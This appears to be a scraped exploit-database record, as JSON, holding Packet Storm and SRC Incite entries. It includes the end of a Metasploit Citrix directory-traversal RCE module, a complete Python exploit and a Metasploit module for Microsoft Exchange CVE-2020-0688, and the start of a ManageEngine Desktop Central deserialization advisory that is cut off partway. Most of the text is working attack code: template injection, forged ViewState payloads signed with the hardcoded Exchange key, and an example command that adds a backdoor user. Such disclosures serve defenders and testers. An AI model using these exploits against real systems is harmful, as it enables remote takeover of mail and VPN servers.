\ndatastore['PAYLOAD'] == 'cmd/unix/generic' \nend \n \ndef exploit \nunless datastore['ForceExploit'] \ncase check \nwhen CheckCode::Vulnerable \nprint_good('The target appears to be vulnerable') \nwhen CheckCode::Safe \nfail_with(Failure::NotVulnerable, 'The target does not appear to be vulnerable') \nelse \nfail_with(Failure::Unknown, 'The target vulnerability state is unknown') \nend \nend \n \nprint_status(\"Yeeting #{datastore['PAYLOAD']} payload at #{peer}\") \nvprint_status(\"Generated payload: #{payload.encoded}\") \n \ncase target['Type'] \nwhen :python \nexecute_command(%(/var/python/bin/python2 -c \"#{payload.encoded}\")) \nwhen :unix_command \nif (res = execute_command(payload.encoded)) && cmd_unix_generic? \nprint_line(res.get_html_document.text.gsub(/undef error - Attempt to bless.*/m, '')) \nend \nend \nend \n \ndef execute_command(cmd, _opts = {}) \nfilename = rand_text_alpha(8..42) \nnonce = rand_text_alpha(8..42) \n \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => normalize_uri(target_uri.path, '/vpn/../vpns/portal/scripts/newbm.pl'), \n'headers' => { \n'NSC_USER' => \"../../../netscaler/portal/templates/#{filename}\", \n'NSC_NONCE' => nonce \n}, \n'vars_post' => { \n'url' => rand_text_alpha(8..42), \n'title' => \"[%template.new({'BLOCK'='print readpipe(#{chr_payload(cmd)})'})%]\" \n} \n) \n \nunless res && res.code == 200 \nprint_error('No response to POST newbm.pl request') \nreturn \nend \n \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, \"/vpn/../vpns/portal/#{filename}.xml\"), \n'headers' => { \n'NSC_USER' => rand_text_alpha(8..42), \n'NSC_NONCE' => nonce \n}, \n'partial' => true \n) \n \nunless res && res.code == 200 \nprint_warning(\"No response to GET #{filename}.xml request\") \nend \n \nregister_files_for_cleanup( \n\"/netscaler/portal/templates/#{filename}.xml\", \n\"/var/tmp/netscaler/portal/templates/#{filename}.xml.ttc2\" \n) \n \nres \nend \n \ndef chr_payload(cmd) \ncmd.each_char.map { |c| \"chr(#{c.ord})\" }.join('.') \nend \n \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/155947/citrix_dir_traversal_rce.rb.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-03-04T15:06:30", "description": "", "cvss3": {}, "published": "2020-03-02T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange 2019 15.2.221.12 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-02T00:00:00", "id": "PACKETSTORM:156592", "href": "https://packetstormsecurity.com/files/156592/Microsoft-Exchange-2019-15.2.221.12-Remote-Code-Execution.html", "sourceData": "`# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution \n# Date: 2020-02-28 \n# Exploit Author: Photubias \n# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688 \n# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys \n# Vendor Homepage: https://www.microsoft.com \n# Version: MS Exchange Server 2010 SP3 up to 2019 CU4 \n# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019 \n# CVE: CVE-2020-0688 \n \n#! /usr/bin/env python \n# -*- coding: utf-8 -*- \n''' \n \n \nCopyright 2020 Photubias(c) \n \nThis program is free software: you can redistribute it and/or modify \nit under the terms of the GNU General Public License as published by \nthe Free Software Foundation, either version 3 of the License, or \n(at your option) any later version. \n \nThis program is distributed in the hope that it will be useful, \nbut WITHOUT ANY WARRANTY; without even the implied warranty of \nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \nGNU General Public License for more details. \n \nYou should have received a copy of the GNU General Public License \nalong with this program. If not, see <http://www.gnu.org/licenses/>. \n \nFile name CVE-2020-0688-Photubias.py \nwritten by tijl[dot]deneut[at]howest[dot]be for www.ic4.be \n \nThis is a native implementation without requirements, written in Python 2. \nWorks equally well on Windows as Linux (as MacOS, probably ;-) \nReverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net \n \nExample Output: \nCVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c \"net user pwned pwned /add\" \n[+] Login worked \n[+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570 \n[+] Detected OWA version number 15.2.221.12 \n[+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable! \n[+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]: \n[+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g== \nSending now ... \n''' \nimport urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass \n \n## STATIC STRINGS \n# This string acts as a template for the serialization (contains \"###payload###\" to be replaced and TWO size locations) \nstrSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=') \n# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability) \nstrSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF') \n \ndef convertInt(iInput, length): \nreturn struct.pack(\"<I\" , int(iInput)).encode('hex')[:length] \n \ndef getYsoserialPayload(sCommand, sSessionId): \n## PART1 of the payload to hash \nstrPart1 = strSerTemplate.replace('###payload###', sCommand) \n## Fix the length fields \n#print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand)) \n#print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand)) \nstrLength1 = convertInt(0x06b8 + len(sCommand),4) \nstrLength2 = convertInt(0x04da + len(sCommand),4) \nstrPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:] \nstrPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:] \n \n## PART2 of the payload to hash \nstrPart2 = '274e7bb9' \nfor v in sSessionId: strPart2 += binascii.hexlify(v)+'00' \nstrPart2 = binascii.unhexlify(strPart2) \n \nstrMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest() \nstrResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac)) \nreturn strResult \n \ndef verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar): \nif not sTarget[-1:] == '/': sTarget += '/' \n## Verify Login \nlPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'} \ntry: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read() \nexcept: print('[!] Error, ' + sTarget + ' not reachable') \nbLoggedIn = False \nfor cookie in oCookjar: \nif cookie.name == 'cadata': bLoggedIn = True \nif not bLoggedIn: \nprint('[-] Login Wrong, too bad') \nexit(1) \nprint('[+] Login worked') \n \n## Verify Session ID \nsSessionId = '' \nsResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read() \nfor cookie in oCookjar: \nif 'SessionId' in cookie.name: sSessionId = cookie.value \nprint('[+] Got ASP.NET Session ID: ' + sSessionId) \n \n## Verify OWA Version \nsVersion = '' \ntry: sVersion = sResult.split('stylesheet')[0].split('href=\"')[1].split('/')[2] \nexcept: sVersion = 'favicon' \nif 'favicon' in sVersion: \nprint('[*] Problem, this user has never logged in before (wizard detected)') \nprint(' Please log in manually first at ' + sTarget + 'ecp/default.aspx') \nexit(1) \nprint('[+] Detected OWA version number '+sVersion) \n \n## Verify ViewStateValue \nsViewState = '' \ntry: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value=\"')[1].split('\"')[0] \nexcept: pass \nif sViewState == 'B97B4E27': \nprint('[+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable!') \nelse: \nprint('[-] Error, viewstate wrong or not correctly parsed: '+sViewState) \nans = raw_input('[?] Still want to try the exploit? [y/N]: ') \nif ans == '' or ans.lower() == 'n': exit(1) \nreturn sSessionId, sTarget, sViewState \n \ndef main(): \nparser = argparse.ArgumentParser() \nparser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='') \nparser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='') \nparser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='') \nparser.add_argument('-c', '--command', help='Command to put behind \"cmd /c \" (e.g. net user pwned pwned /add)', default='') \nargs = parser.parse_args() \nif args.target == '' or args.username == '' or args.command == '': \nprint('[!] Example usage: ') \nprint(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c \"net user pwned pwned /add\"') \nelse: \nif args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ') \nelse: sPassword = args.password \nctx = ssl.create_default_context() \nctx.check_hostname = False \nctx.verify_mode = ssl.CERT_NONE \noCookjar = cookielib.CookieJar() \n#oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}) \n#oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy) \noOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar)) \nsSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar) \nans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ') \nif ans.lower() == 'n': exit(0) \nsPayLoad = getYsoserialPayload(args.command, sSessionId) \nprint('[+] Got Payload: ' + sPayLoad) \nsURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad) \nprint(' Sending now ...') \ntry: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'})) \nexcept urllib2.HTTPError, e: \nif e.code == '500': print('[+] This probably worked (Error Code 500 received)') \n \nif __name__ == \"__main__\": \nmain() \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/156592/msexchange2019-exec.txt", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-03-05T07:12:27", "description": "", "cvss3": {}, "published": "2020-03-04T00:00:00", "type": "packetstorm", "title": "Exchange Control Panel Viewstate Deserialization", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-04T00:00:00", "id": "PACKETSTORM:156620", "href": "https://packetstormsecurity.com/files/156620/Exchange-Control-Panel-Viewstate-Deserialization.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'bindata' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \n# include Msf::Auxiliary::Report \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \n \nDEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27' \nVALIDATION_KEY = \"\\xcb\\x27\\x21\\xab\\xda\\xf8\\xe9\\xdc\\x51\\x6d\\x62\\x1d\\x8b\\x8b\\xf1\\x3a\\x2c\\x9e\\x86\\x89\\xa2\\x53\\x03\\xbf\" \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Exchange Control Panel Viewstate Deserialization', \n'Description' => %q{ \nThis module exploits a .NET serialization vulnerability in the \nExchange Control Panel (ECP) web page. The vulnerability is due to \nMicrosoft Exchange Server not randomizing the keys on a \nper-installation basis resulting in them using the same validationKey \nand decryptionKey values. With knowledge of these, values an attacker \ncan craft a special viewstate to cause an OS command to be executed \nby NT_AUTHORITY\\SYSTEM using .NET deserialization. \n}, \n'Author' => 'Spencer McIntyre', \n'License' => MSF_LICENSE, \n'References' => [ \n['CVE', '2020-0688'], \n['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'], \n], \n'Platform' => 'win', \n'Targets' => \n[ \n[ 'Windows (x86)', { 'Arch' => ARCH_X86 } ], \n[ 'Windows (x64)', { 'Arch' => ARCH_X64 } ], \n[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ] \n], \n'DefaultOptions' => \n{ \n'SSL' => true \n}, \n'DefaultTarget' => 1, \n'DisclosureDate' => '2020-02-11', \n'Notes' => \n{ \n'Stability' => [ CRASH_SAFE, ], \n'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], \n'Reliability' => [ REPEATABLE_SESSION, ], \n} \n)) \n \nregister_options([ \nOpt::RPORT(443), \nOptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]), \nOptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]), \nOptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) \n]) \n \nregister_advanced_options([ \nOptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]), \n]) \nend \n \ndef check \nstate = get_request_setup \nviewstate = state[:viewstate] \nreturn CheckCode::Unknown if viewstate.nil? \n \nviewstate = Rex::Text.decode_base64(viewstate) \nbody = viewstate[0...-20] \nsignature = viewstate[-20..-1] \n \nunless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature \nreturn CheckCode::Safe \nend \n \n# we've validated the signature matches based on the data we have and thus \n# proven that we are capable of signing a viewstate ourselves \nCheckCode::Vulnerable \nend \n \ndef generate_viewstate(generator, session_id, cmd) \nviewstate = ::Msf::Util::DotNetDeserialization.generate(cmd) \nsignature = generate_viewstate_signature(generator, session_id, viewstate) \nRex::Text.encode_base64(viewstate + signature) \nend \n \ndef generate_viewstate_signature(generator, session_id, viewstate) \nmac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>') \nmac_key_bytes << Rex::Text.to_unicode(session_id) \nOpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes) \nend \n \ndef exploit \nstate = get_request_setup \n \n# the major limit is the max length of a GET request, the command will be \n# XML escaped and then base64 encoded which both increase the size \nif target.arch.first == ARCH_CMD \nexecute_command(payload.encoded, opts={state: state}) \nelse \ncmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first \nexecute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state}) \nend \nend \n \ndef execute_command(cmd, opts) \nstate = opts[:state] \nviewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd) \n5.times do |iteration| \n# this request *must* be a GET request, can't use POST to use a larger viewstate \nsend_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), \n'cookie' => state[:cookies].join(''), \n'agent' => state[:user_agent], \n'vars_get' => { \n'__VIEWSTATE' => viewstate, \n'__VIEWSTATEGENERATOR' => state[:viewstate_generator] \n} \n}) \nbreak \nrescue Rex::ConnectionError, Errno::ECONNRESET => e \nvprint_warning('Encountered a connection error while sending the command, sleeping before retrying') \nsleep iteration \nend \nend \n \ndef get_request_setup \n# need to use a newer default user-agent than what Metasploit currently provides \n# see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string \nuser_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43' \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'), \n'method' => 'POST', \n'agent' => user_agent, \n'vars_post' => { \n'password' => datastore['PASSWORD'], \n'flags' => '4', \n'destination' => full_uri(normalize_uri(target_uri.path, 'owa')), \n'username' => datastore['USERNAME'] \n} \n}) \nfail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil? \ncookies = [res.get_cookies] \n \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), \n'cookie' => res.get_cookies, \n'agent' => user_agent \n}) \nfail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200 \ncookies << res.get_cookies \n \nviewstate_generator = res.body.scan(/id=\"__VIEWSTATEGENERATOR\"\\s+value=\"([a-fA-F0-9]{8})\"/).flatten[0] \nif viewstate_generator.nil? \nprint_warning(\"Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}\") \nviewstate_generator = DEFAULT_VIEWSTATE_GENERATOR \nelse \nvprint_status(\"Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}\") \nend \n \nviewstate = res.body.scan(/id=\"__VIEWSTATE\"\\s+value=\"([a-zA-Z0-9\\+\\/]+={0,2})\"/).flatten[0] \nif viewstate.nil? \nvprint_warning('Failed to find the __VIEWSTATE value') \nend \n \nsession_id = res.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0] \nif session_id.nil? \nfail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies') \nend \nvprint_status(\"Recovered the ASP.NET_SessionID: #{session_id}\") \n \n{user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id} \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/156620/exchange_ecp_viewstate.rb.txt", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "srcincite": [{"lastseen": "2022-04-20T17:15:52", "description": "**Vulnerability Details:**\n\nThis vulnerability allows remote attackers to execute arbitrary code on affected installations of ManageEngine Desktop Central. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the FileStorage class. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code under the context of SYSTEM.\n\n**Affected Vendors:**\n\nManageEngine\n\n**Affected Products:**\n\nDesktop Central\n\n**Vendor Response:**\n\nManageEngine has issued an update to correct this vulnerability. More details can be found at: \n<https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html>\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-12-12T00:00:00", "type": "srcincite", "title": "SRC-2020-0011 : ManageEngine Desktop Central FileStorage getChartImage Deserialization of Untrusted Data Remote Code Execution Vulnerability", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10189"], "modified": "2020-03-06T00:00:00", "id": "SRC-2020-0011", "href": "https://srcincite.io/advisories/src-2020-0011/", "sourceData": "#!/usr/bin/env python3\n\"\"\"\nManageEngine Desktop Central FileStorage getChartImage Deserialization of Untrusted Data Remote Code Execution Vulnerability\n\nDownload: https://www.manageengine.com/products/desktop-central/download-free.html\nFile ...: ManageEngine_DesktopCentral_64bit.exe\nSHA1 ...: 73ab5bb00f993685c711c0aed450444795d5b826\nFound by: mr_me\nDate ...: 2019-12-12\nCVE ....: CVE-2020-10189\nClass ..: CWE-502\nCVSS ...: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)\nPatch ..: https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html\n\n## Summary:\n\nAn unauthenticated attacker can reach a Deserialization of Untrusted Data vulnerability that can allow them to execute arbitrary code as SYSTEM/root.\n\n## Vulnerability Analysis:\n\nIn the web.xml file, we can see one of the default available servlets is the `CewolfServlet` servlet.\n\n```CewolfServletde.laures.cewolf.CewolfRendererdebugfalseoverliburl/js/overlib.jsstoragede.laures.cewolf.storage.FileStorage1...CewolfServlet/cewolf/*```\n\nThis servlet, contains the following code:\n\n```\n protected void doGet(HttpServletRequest request, HttpServletResponse response)\n throws ServletException, IOException {\n if (debugged) {\n logRequest(request);\n }\n addHeaders(response);\n if ((request.getParameter(\"state\") != null) || (!request.getParameterNames().hasMoreElements())) {\n requestState(response);\n return;\n }\n int width = 400;\n int height = 400;\n boolean removeAfterRendering = false;\n if (request.getParameter(\"removeAfterRendering\") != null) {\n removeAfterRendering = true;\n }\n if (request.getParameter(\"width\") != null) {\n width = Integer.parseInt(request.getParameter(\"width\"));\n }\n if (request.getParameter(\"height\") != null) {\n height = Integer.parseInt(request.getParameter(\"height\"));\n }\n if (!renderingEnabled) {\n renderNotEnabled(response, 400, 50);\n return;\n }\n if ((width > config.getMaxImageWidth()) || (height > config.getMaxImageHeight())) {\n renderImageTooLarge(response, 400, 50);\n return;\n }\n String imgKey = request.getParameter(\"img\"); // 1\n if (imgKey == null) {\n logAndRenderException(new ServletException(\"no 'img' parameter provided for Cewolf servlet.\"), response,\n width, height);\n return;\n }\n Storage storage = config.getStorage();\n ChartImage chartImage = storage.getChartImage(imgKey, request); // 2\n```\n\nAt [1] the code sets the `imgKey` variable using the GET parameter `img`. Later at [2], the code then calls the `storage.getChartImage` method with the attacker supplied `img`. You maybe wondering what class the `storage` instance is. This was mapped as an initializing parameter to the servlet code in the web.xml file:\n\n```storagede.laures.cewolf.storage.FileStorage```\n\n```\npublic class FileStorage implements Storage {\n static final long serialVersionUID = -6342203760851077577L;\n String basePath = null;\n List stored = new ArrayList();\n private boolean deleteOnExit = false;\n\n //...\n\n public void init(ServletContext servletContext) throws CewolfException {\n basePath = servletContext.getRealPath(\"/\");\n Configuration config = Configuration.getInstance(servletContext);\n deleteOnExit = \"true\".equalsIgnoreCase(\"\" + (String) config.getParameters().get(\"FileStorage.deleteOnExit\"));\n servletContext.log(\"FileStorage initialized, deleteOnExit=\" + deleteOnExit);\n }\n\n //...\n\n private String getFileName(String id) {\n return basePath + \"_chart\" + id; // 4\n }\n\n //...\n\n public ChartImage getChartImage(String id, HttpServletRequest request) {\n ChartImage res = null;\n ObjectInputStream ois = null;\n try {\n ois = new ObjectInputStream(new FileInputStream(getFileName(id))); // 3\n res = (ChartImage) ois.readObject(); // 5\n ois.close();\n } catch (Exception ex) {\n ex.printStackTrace();\n } finally {\n if (ois != null) {\n try {\n ois.close();\n } catch (IOException ioex) {\n ioex.printStackTrace();\n }\n }\n }\n return res;\n }\n```\n\nAt [3] the code calls `getFileName` using the attacker controlled `id` GET parameter which returns a path to a file on the filesystem using `basePath`. This field is set in the `init` method of the servlet. On the same line, the code creates a new `ObjectInputStream` instance from the supplied filepath via `FileInputStream`. This path is attacker controlled at [4], however, there is no need to (ab)use traversals here for exploitation.\n\nThe most important point is that at [5] the code calls `readObject` using the contents of the file without any further lookahead validation.\n\n## Exploitation:\n\nFor exploitation, an attacker can (ab)use the `MDMLogUploaderServlet` servlet to plant a file on the filesystem with controlled content inside. Here is the corresponding web.xml entry:\n\n```MDMLogUploaderServletcom.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet...MDMLogUploaderServlet/mdm/mdmLogUploader/mdm/client/v1/mdmLogUploader```\n\n```\npublic class MDMLogUploaderServlet extends DeviceAuthenticatedRequestServlet {\n private Logger logger = Logger.getLogger(\"MDMLogger\");\n private Long customerID;\n private String deviceName;\n private String domainName;\n private Long resourceID;\n private Integer platformType;\n private Long acceptedLogSize = Long.valueOf(314572800L);\n\n public void doPost(HttpServletRequest request, HttpServletResponse response, DeviceRequest deviceRequest)\n throws ServletException, IOException {\n Reader reader = null;\n PrintWriter printWriter = null;\n\n logger.log(Level.WARNING, \"Received Log from agent\");\n\n Long nDataLength = Long.valueOf(request.getContentLength());\n\n logger.log(Level.WARNING, \"MDMLogUploaderServlet : file conentent lenght is {0}\", nDataLength);\n\n logger.log(Level.WARNING, \"MDMLogUploaderServlet :Acceptable file conentent lenght is {0}\", acceptedLogSize);\n try {\n if (nDataLength.longValue() <= acceptedLogSize.longValue()) {\n String udid = request.getParameter(\"udid\"); // 1\n String platform = request.getParameter(\"platform\");\n String fileName = request.getParameter(\"filename\"); // 2\n HashMap deviceMap = MDMUtil.getInstance().getDeviceDetailsFromUDID(udid);\n if (deviceMap != null) {\n customerID = ((Long) deviceMap.get(\"CUSTOMER_ID\"));\n deviceName = ((String) deviceMap.get(\"MANAGEDDEVICEEXTN.NAME\"));\n domainName = ((String) deviceMap.get(\"DOMAIN_NETBIOS_NAME\"));\n resourceID = ((Long) deviceMap.get(\"RESOURCE_ID\"));\n platformType = ((Integer) deviceMap.get(\"PLATFORM_TYPE\"));\n } else {\n customerID = Long.valueOf(0L);\n deviceName = \"default\";\n domainName = \"default\";\n }\n String baseDir = System.getProperty(\"server.home\");\n\n deviceName = 